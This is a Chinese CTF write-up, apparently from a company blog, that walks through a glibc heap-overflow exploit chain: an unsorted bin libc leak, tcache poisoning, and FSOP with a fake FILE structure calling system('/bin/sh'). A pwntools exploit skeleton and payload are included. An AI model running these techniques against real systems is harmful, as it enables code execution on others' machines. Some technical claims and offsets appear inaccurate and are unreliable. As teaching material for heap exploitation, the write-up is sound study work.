☰
从堆溢出到文件流劫持:glibc堆利用实战全解析
2026/10/21 10:04:40 网站建设 项目流程

写这篇解析之前,我先把这道题的价值说在前面:它把堆溢出、tcache poisoning、libc 泄漏和文件流劫持(FSOP)几条线串在了一条完整的利用链上,非常适合作为从“会调 exp”到“真正理解堆利用”之间的过渡题目。我自己第一次刷这道题的时候,卡在 fake FILE 构造上整整一个周末,回头看其实不是方法多难,而是对 glibc 的流式输出机制理解不够。这篇就按我实际调试的顺序来写,把每一步为什么要这样做讲清楚。

1. 题目初探与环境准备

1.1 拿到题目先别急着看漏洞

很多刚接触 pwn 的同学喜欢直接打开 IDA 找溢出点,这其实不是最高效的路径。我的习惯是先把文件丢进终端跑一遍基础检查,顺序固定为:

$ file grocery_store $ checksec --file=./grocery_store $ ldd ./grocery_store

对应输出一般类似:

Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled

这个输出直接决定了你的攻击面:

  • Full RELRO 意味着 GOT 表只读,got覆写这条路直接封死;
  • Canary 存在,栈溢出路线基本不考虑;
  • PIE 开启,说明 ROP 里如果需要程序内函数地址,得先处理 PIE 泄漏;
  • NX 开启,不能直接执行栈上的 shellcode。

所以这道题看上去给了很多限制,但实际上所有路都指向同一个方向:把目光放到堆上。只要漏洞在堆上,Canary 和 NX 都管不着你;只要能用 libc 泄漏算出基址,PIE 也不是障碍。checksec 的结果不是劝退,而是告诉你该把精力放在哪里。

接下来还要确认 libc 版本。题目附件一般会附 libc,如果没有,可以用拿到的泄漏去识别。这一步尤其重要,因为 FSOP 的 vtable 校验从 glibc 2.24 开始就存在,而 tcache 的引入和相关安全机制在不同版本差异很大,确定版本才能决定利用细节。

1.2 逆向菜单,先把数据结构画出来

跑一下程序就能看到典型的菜单题格式:

1) Add Item 2) Delete Item 3) Edit Item 4) Show Item 5) Exit

用 IDA 或 Ghidra 跟一遍,核心数据结构大概是这样的:

struct Item { char *name; // +0x00 size_t price; // +0x08 size_t quantity; // +0x10 char *note; // +0x18 };

Add 的流程通常是:

  1. 输入 name 长度;
  2. malloc(name_len)分配 name 缓冲区;
  3. malloc(0x28)分配 Item 结构体;
  4. 把 name 指针、price、quantity 存入结构体。

Edit 的流程才是有问题的点:

void edit_item(int idx) { char buf[0x200]; read(0, buf, 0x200); strcpy(items[idx]->name, buf); }

问题非常明显:name 缓冲区不一定是 0x200 大小,但 strcpy 会无条件把 buf 里的内容连同结尾的\0一起写入。一旦写入长度超过原本 malloc 的 size,就会覆盖到相邻 chunk 的堆块头。这就是典型的堆溢出。

做题时我习惯先把这么一段伪代码写在本子上,然后标出每个成员变量的偏移。后面所有堆风水的布局,本质都是在和这个结构体的内存排布打交道。

2. 漏洞定位与堆溢出原理

2.1 溢出点确认与“可控边界”分析

strcpy 栈溢出很常见,但堆溢出往往更隐蔽,因为我们输入的字节会覆盖到下一个堆块的元数据,而 glibc 对堆块头的操作又是高度模式化的,只要我们能控制size、fd、bk中的任意一个字段,就等于拿到了一条通往任意内存写的路。

具体看这里:假设 item 0 的 name 是一个 0x90 大小的 chunk,item 1 的 name 紧跟在它后面,也是一个 0x90 的 chunk。正常布局下,内存排列是:

chunk0: [prev_size | size] [name data ...] chunk1: [prev_size | size] [name data ...]

当我们 edit item 0 并输入 0x200 字节时,数据会一路平推,覆盖到 chunk1 的prev_size和size。如果我故意把 chunk1 的size从原始的0xa1(假设prev_inuse=1)改成0x431,那么当程序 free item 1 时,glibc 会认为这是一个超大 chunk,从而把它放入 unsorted bin。

这就是“堆溢出”不是“栈溢出”的差别:我们没有直接覆盖返回地址,而是通过篡改堆元数据,让 heap 管理器的后续行为变得可控。垃圾回收器中的空闲链表管理其实很像现实中的停车场调度,你把某个车位的尺寸牌改大,调度员就会把不该停进来的车停进去,腾出来的空间反而变成了你控制程序的跳板。

这里有个关键经验:glibc 的 tcache 只缓存小于等于 0x410 大小的 chunk。如果你把下一个 chunk 的 size 改成 0x91,free 后它会直接进 tcache,流上不会写main_arena的地址,也就拿不到 libc 泄漏。所以无脑覆盖上去是不够的,得先想清楚这个 size 值会导致 chunk 进入哪个 bin。

2.2 防护机制里真正影响思路的两个点

Canary 和 NX 对堆利用基本无效,这里不展开。真正影响利用路径的有两点:

一是 Full RELRO。因为 GOT 只读,我们不能通过“改某个函数的 GOT 为 system”这种经典操作逃离。这意味着即使拿到了任意写,也要重新思考写入目标,通常就是__free_hook、_IO_list_all、__malloc_hook这类 libc 里的可写函数指针。

二是 PIE。PIE 开启后,程序基址未知,但我们的利用链本来就不需要程序内的函数地址,主要依赖 libc 里的函数和结构,所以 PIE 对这道题的阻碍不大。真正麻烦的反而是後面的 vtable 校验,这个在第四章细说。

3. 利用链第一阶段:堆风水与信息泄漏

3.1 从 Unsort Bin 泄漏 libc 基址

拿到 libc 地址是所有利用的前提。没有 libc 基址,你连system、_IO_str_jumps在哪里都不知道,FSOP 无从谈起。

我的做法是构造一次经典 unsorted bin leak:

  1. 先 add 两个 item,让它们的 name 都是 0x410 左右的大 chunk,保证 free 后进 unsorted bin 而不是 tcache;
  2. 用 edit(item0) 溢出,把 item1 的 name 的 chunk size 改成 0x431(或 0x421,总之要超过 tcache 上限);
  3. free(item1),chunk 进入 unsorted bin;
  4. 此时 unsorted bin 的 chunk 头部fd和bk会指向main_arena附近,也就是main_arena+0x60左右的位置;
  5. show 那个与它重叠的 item0,把 fd 打出来,或者直接show(item1)如果程序允许,就能读到这个地址。

算出 libc 基址的方式是:

leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc.address = leak - (libc.sym['main_arena'] + 0x60)

不过要注意,不同 libc 版本里main_arena和_IO_2_1_stdout_的偏移差距很大,最稳妥的办法是先本地跑一遍,在 gdb 里看一下unsorted_chunks(av)的实际地址,再确定常数。不要盲目抄网上的偏移,否则同样的 exp 换个 libc 就翻车。

这个泄漏阶段虽然原理简单,但对堆布局要求很高。因为 unsorted bin 里的 chunk 会被后续 malloc 切分或合并,如果你在 free 之后立刻又调用了 malloc,泄漏出来的 fd 可能已经被改写。常见做法是泄漏动作要快,拿到地址后马上存到变量里,再继续后续布局。

3.2 从泄漏到稳定任意分配:tcache poisoning 的一般姿势

有了 libc 基址,第二步就是拿到任意写原语。在没有 tcache 的老版本里,常见路线是 fastbin dup 或者 unsorted bin attack;在 glibc 2.27 里,最舒服的就是 tcache poisoning。

原理很简单:tcache bin 是一个单链表,空闲 chunk 的fd字段存放的是下一个 chunk 的地址。如果我们在一个 chunk 还是空闲状态时,通过堆溢出改写它的fd字段,把它从一个合法地址改成任意目标地址,那么:

  1. 第一次malloc会把当前 chunk 弹出 tcache;
  2. tcache 内部会把fd作为下一次要返回的 chunk;
  3. 第二次malloc就会直接返回我们指定的目标地址。

写成代码就是:

# 假设 tcache 里已经有一个空闲 chunk p edit(prev, p64(target)) # 通过堆溢出改写 p 的 fd malloc(0x20) # 弹出 p malloc(0x20) # 返回 target

这个任意分配原语非常强大,因为它等于给了我们一次“malloc 返回任意地址”的能力,之后想写哪里就写哪里。但有一个坑:malloc返回目标地址之前,会检查目标地址往前0x10字节处的 chunk header 中的size字段是否合法。如果目标地址正好是 libc 数据段上的某个函数指针,它前面的字节通常不满足 size 要求,malloc 会直接报错崩溃。

实际解决办法是选择目标地址时有讲究:

  • 尽量选在可写对象内部,并且前面恰好有一段能被解释成合法 size 的内存;
  • 或者把目标地址整体往前挪,在目标地址前伪造一个看起来像 size 的值;
  • 最常用的是把目标定为__free_hook - 0x10,让 malloc 返回__free_hook,再往里面写system。

这也是为什么 glibc 2.27 时代“改__free_hook打 system”那么流行,因为__free_hook附近恰好存在满足 size 检查的内存布局,不需要额外伪造。不过这道题我们要走 FSOP,所以任意写的目标要重新规划,不是直接打 hook 就完事。

4. 利用链第二阶段:从任意写原语到文件流劫持

4.1 为什么不直接改 __free_hook 了事

既然现在已经有任意写了,直接改__free_hook成system,再 free 一个内容为/bin/sh的 chunk,理论上一行代码就能拿 shell。这道题如果服务器没有额外封禁,这种方式大概率也能通,甚至算是非预期的最短路径。

但我还是建议把 FSOP 作为主路线研究一遍,原因主要有三个:

第一,glibc 2.24 之后有了 vtable 校验,直接乱改 FILE 结构里的 vtable 指针会导致程序崩溃,而 FSOP 的思路恰恰是绕过这个校验,利用合法的_IO_str_jumps虚表来完成劫持。这个思路比单纯打 hook 更能应对新版本 libc。

第二,很多 CTF 题为了加大难度,会开 seccomp 禁止 execve,这时候即使你把__free_hook改成 system 也拿不到 shell,因为system内部要调用execve。而 FSOP 配合 open/read/write 的 ROP 链,可以不开 shell 直接把 flag 内容输出到 stdout,这种能力是“改 hook 打 shell”做不到的。

第三,从学习角度讲,理解了 FILE 结构和_IO_list_all的遍历机制,以后再遇到格式化字符串或者任意写漏洞,你的攻击面会大很多。FSOP 不是某道题的偏方,而是一整套可迁移的技术。

4.2 理解 FILE 结构与 vtable 校验

FILE 结构体在 64 位下的布局,我先把关键字段列出来,后面构造 fake FILE 时会用到:

偏移字段说明
0x00_flags状态与模式标志位
0x08_IO_read_ptr读指针
0x10_IO_read_end读缓冲结束
0x18_IO_read_base读缓冲基址
0x20_IO_write_base写缓冲基址
0x28_IO_write_ptr写指针
0x30_IO_write_end写缓冲结束
0x38_IO_buf_base缓冲区基址
0x40_IO_buf_end缓冲区结束
0x68_chain下一个 FILE 结构指针
0xd8vtable当前 FILE 的虚表指针

平时我们用printf、puts输出,或者用fclose、exit清理流时,glibc 内部会通过这个 vtable 去调用具体的实现函数,例如_IO_file_overflow、_IO_str_finish等等。glibc 2.24 以后为了防住直接改 vtable 为堆上地址的攻击,在调用前会执行IO_validate_vtable,检查 vtable 地址是否落在合法虚表的范围里。

所以一个直接的想法——把 vtable 改成我们伪造的堆地址——在新版本里是行不通的。反过来想,如果 vtable 指向的是 libc 内部的合法虚表,比如_IO_str_jumps,那么校验就能通过。而在_IO_str_jumps这个虚表里,某些函数实现会引用 FILE 结构体里的其他字段,那些字段我们可控,这就成了新的攻击面。

4.3 触发路径:从任意写到_IO_str_finish

FSOP 的标准触发点之一是程序退出时。glibc 的退出流程会遍历_IO_list_all链表,对每个 FILE 结构执行刷新和关闭操作,中间会调用到 vtable 里的_IO_FINISH。如果我们能把_IO_list_all覆盖成我们伪造的 FILE 结构地址,那么退出时 glibc 就会把我们伪造的结构当成一个真正的文件流来处理。

_IO_str_jumps这个虚表里的__finish槽位对应的是_IO_str_finish,它的实现大致会做这么一件事:

void _IO_str_finish(FILE *fp, int dummy) { ... ((_IO_strfile *)fp)->_s._free_buffer(fp->_IO_buf_base); ... }

也就是说,它会从 FILE 结构后面的一个字段取出函数指针,并把_IO_buf_base作为参数传进去。这个字段在_IO_strfile_结构里是_free_buffer,大概在偏移0xe8的位置。如果我们把它改成system,再把_IO_buf_base设成/bin/sh字符串的地址,那么只要程序走到清理流的逻辑,就会执行system("/bin/sh")。

这个思路比_IO_str_overflow那个经典姿势还要直白一点。_IO_str_overflow需要精确控制_IO_buf_base和_IO_buf_end,让内部计算出的new_size恰好等于/bin/sh地址,而_IO_str_finish直接把缓冲区基址作为参数传递,省掉了中间那道计算。代价是触发点一般要等程序退出(或者主动调 fclose),不过 CTF 题目里程序菜单都会有 Exit 选项,完全够用。

4.4 构造一个能通过 vtable 校验的 fake FILE

现在把所有信息汇总成 payload。我们在堆上准备一块可控内存,构造一个假的_IO_FILE_plus,关键字段如下:

fake_file = flat({ 0x00: p64(0xfbad8000), # _flags,让它看起来像一个打开的流 0x38: p64(bin_sh_addr), # _IO_buf_base = "/bin/sh" 地址 0x68: p64(0), # _chain = 0,保证链表遍历在这里结束 0xd8: p64(str_jumps_addr), # vtable = _IO_str_jumps,通过校验 0xe8: p64(system_addr), # _free_buffer = system })

这里最关键的是_IO_buf_base和vtable。_IO_buf_base决定了system收到的第一个参数,所以一定要让它等于/bin/sh字符串的内存地址;vtable 必须指向_IO_str_jumps而不是堆上的伪造地址,否则IO_validate_vtable直接崩。_free_buffer字段的偏移要根据 libc 里的_IO_strfile_结构确认,不同版本略有差异,我用 0xe8 是基于常见的 2.27 环境,做其他版本题目时要重新查一下。

构造好 fake FILE 之后,再用之前准备的任意写原语把_IO_list_all的值改成 fake_file 的堆地址。_IO_list_all在 libc 的.data段,是一个指向文件流链表头节点的指针,程序退出时会从它开始遍历。最后在菜单里选择退出,触发整个流程:

exit() -> _IO_cleanup() -> 遍历 _IO_list_all -> fake FILE -> _IO_FINISH -> _IO_str_finish -> system(_IO_buf_base) -> system("/bin/sh")

整个利用链到这里就闭环了。

5. 完整利用链与 Exp 解析

5.1 从第一步到 getshell 的全流程

我把完整的步骤再整理一遍,方便边写 exp 边对照:

  1. 溢出修改相邻 chunk 的 size,制造 fake 大 chunk;
  2. free 该 chunk 进 unsorted bin,show 出main_arena地址,计算 libc 基址;
  3. 重建堆布局,利用堆溢出改写 tcache 空闲 chunk 的 fd,实现任意分配;
  4. 在堆上构造 fake FILE 结构,关键字段指向/bin/sh、_IO_str_jumps和system;
  5. 用任意写把_IO_list_all改为 fake FILE 的堆地址;
  6. 调用 Exit,触发 glibc 的文件流清理流程,拿到 shell。

这里面最容易忽略的是第 3 步和第 5 步之间的衔接。你第一次 leak 之后,堆的状态其实已经被破坏了,很多新手直接拿原来的布局继续用,却发现 tcache 里根本没有预期中的空闲 chunk。正确做法是:leak 完先重新 add 一遍,把堆重新“养”起来,再开始做 tcache poisoning。堆题里“重新布局”是很常见的操作,不是一次布局走到黑。

5.2 关键 Exp 骨架参考

下面这段是精简过的伪 exp,重点展示每个阶段怎么衔接。实际调试时,你需要根据题目的 malloc 尺寸和 libc 版本调整偏移。

from pwn import * context.binary = './grocery_store' io = process('./grocery_store') def add(name, price=1, qty=1): io.sendlineafter(b'> ', b'1') io.sendafter(b'name: ', name) io.sendlineafter(b'price: ', str(price).encode()) io.sendlineafter(b'quantity: ', str(qty).encode()) def edit(idx, name): io.sendlineafter(b'> ', b'3') io.sendlineafter(b'idx: ', str(idx).encode()) io.sendafter(b'name: ', name) def show(idx): io.sendlineafter(b'> ', b'4') io.sendlineafter(b'idx: ', str(idx).encode()) return io.recvuntil(b'> ', drop=True) # 1. unsorted bin leak add(b'A' * 0x400) add(b'B' * 0x400) edit(0, b'A' * 0x4f0 + p64(0x431)) # 覆盖 chunk1 size # 此时 free item1,观察 show 输出的 unsorted bin fd # 计算 libc.address # 2. tcache poisoning -> 任意分配 # 重新 add、delete 制造 tcache 空闲 chunk,通过 edit 覆盖 fd # target = 你想写入的位置,比如 _IO_list_all # 3. 构造 fake FILE bin_sh = next(libc.search(b'/bin/sh\x00')) str_jumps = libc.sym['_IO_str_jumps'] fake = flat({ 0x00: p64(0xfbad8000), 0x38: p64(bin_sh), 0x68: p64(0), 0xd8: p64(str_jumps), 0xe8: p64(libc.sym['system']), }) fake_addr = malloc_fake() # 把 fake 放到一个已知堆地址 # 4. 把 _IO_list_all 指向 fake write(_IO_list_all, p64(fake_addr)) # 5. 退出触发 io.sendlineafter(b'> ', b'5') io.interactive()

实际比赛里,这个 exp 可能需要反复本地调试,尤其是_IO_list_all的写入时机和 fake FILE 的内存对齐。很多人第一次跑会发现在第 5 步退出时直接 SIGSEGV,而不是正常 get shell。出现这种情况,先检查两个点:fake FILE 里的_chain是不是 0;vtable 是不是真的指向_IO_str_jumps而不是system或其他地址。_chain非 0 的时候,glibc 会把下一个字段当指针继续遍历,马上崩。

6. 常见问题与调试技巧实录

6.1 为什么 leak 出来的地址不对

unsorted bin leak 的地址通常低 12 位是固定的,比如指向main_arena+0x60。如果你算出来的 libc 基址偏低或偏高,先用本地 gdb 确认一下到底 leak 的是fd还是bk,以及这条链对应的精确偏移。不要在 libc 基址上随便加个常数就往下走,后面 vtable 校验对地址精确性要求很高。

还有一个常见问题是 show 输出被\x00提前截断。因为 fd 是 8 字节的小端地址,第一个字节往往不是 0,但第二个或第三个字节可能已经为 0,导致printf只输出几个字节就停了。解决办法是不要用字符串思维去 recv,而是用io.recvuntil(b'> ')把原始字节抓回来,再用u64取需要的长度,或者直接recv(8)然后手动去掉偏移。

6.2 tcache 任意分配为什么总是崩溃

报错信息往往是:

malloc(): unsorted double linked list corrupted Segmentation fault

原因通常是目标地址处的 chunk size 不合法。malloc 要返回一个 user 指针时,会检查它前 0x10 字节的 size 字段。libc 数据段上的很多目标并不满足这个条件。

解决问题的两个常用方向:

  • 目标地址往前挪 0x10,也就是让tcache->fd指向target - 0x10,同时在target - 0x10处伪造一个可控的 size;不过如果target是 libc 内部对象,你可能没法先写它前面的内存;
  • 换一个满足 size 检查的地址,比如__free_hook附近,先确认它前面的字节布局是否可用。这也是为什么很多 exp 优先选__free_hook的原因之一。

6.3 覆盖 vtable 后直接崩溃,而不是执行命令

这是 FSOP 最容易踩的坑。如果你在 fake FILE 里把 vtable 直接写成了system或者堆地址,glibc 的IO_validate_vtable会立刻报错:

Fatal error: glibc detected an invalid stdio vtable

所以 vtable 必须写成 libc 内的合法虚表地址,首选_IO_str_jumps。然后_free_buffer或_allocate_buffer才写成system。不要搞反层级。

另一个问题是触发点。FSOP 不是任何时候都会执行,你要确保程序在最终会走到_IO_list_all的遍历逻辑。菜单题的 Exit 一般都会触发,但如果程序提前死循环或者没有正常退出,就永远到不了那里。调试时可以主动在菜单发 Exit,而不是等程序自然结束。

6.4 不同 glibc 版本对这套思路的影响

我整理了一个简表,方便你在做其他题目时快速定位技术路线:

glibc 版本tcache 有无tcache 安全机制vtable 校验推荐目标
2.23无无无直接改 vtable 或改__malloc_hook
2.27有无地址保护有FSOP_IO_str_jumps或__free_hook
2.31有safe-linking 地址混淆有先解 fd 混淆,再考虑 FSOP
2.35有移除__malloc_hook、__free_hook有绕过 hook 向量的新路线,需结合具体环境

如果题目附带的 libc 是 2.31 及以上,tcache 的 fd 在写入时要额外做一次异或运算,公式是fd_protect = target ^ (ptr >> 12)。这一点很多从 2.27 转过来的人会栽。

6.5 本地成功远程失败怎么排查

CTF 远程环境和你本地最大的差异通常是三种:libc 版本不一致、堆布局的随机性、服务器性能导致的时间差。

libc 不一致最直接,先确认远程用的 libc 是不是附件里给的。如果没有附件,靠泄漏的main_arena或puts地址去识别版本。堆布局随机性方面,ASLR 不会影响 chunk 之间的相对布局,但会影响 libc 地址和堆地址之间的偏移,如果你的 fake FILE 里写死了某个绝对地址,一般就会崩。正确的做法是在远程连接后先做一次 leak,再动态计算所有地址。

时间差主要体现在交互节奏上。很多菜单题的read不会严格按行读取,输入过快或过慢都会导致输入错位。远程环境网络波动时,如果你用sendline发送超长 payload,可能连带触发后续菜单读取。稳妥起见,在sendlineafter的基础上加短暂 sleep,或者在关键步骤后recv多余输出,保持输入流同步。

最后分享一个我自己的调试习惯:每构造一个 fake 结构,先在本地核心转储里看 glibc 到底崩在哪一行。如果崩在_IO_str_finish,说明你成功走到了目标函数,只是参数不对;如果崩在_IO_flush_all_lockp,说明链表遍历就已经出错,多半是_chain没清空或者_IO_list_all指向的不是一个合法的 FILE。这种“崩点定位法”比瞎试 exp 高效得多。

FSOP 这道题做完之后,建议你再试试把同一个 fake FILE 结构用在不同触发场景里,比如通过fclose、大输出触发_IO_str_overflow,或者结合 seccomp 改成 open/read/write 的链路。File Stream Oriented Programming 这套体系里还有一个叫_IO_str_underflow的入口,玩法更多。真正把这些入口都摸一遍,以后再看到 FILE 结构,你第一反应就不是“这是什么结构体”,而是“这里能让我跳到哪里”。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询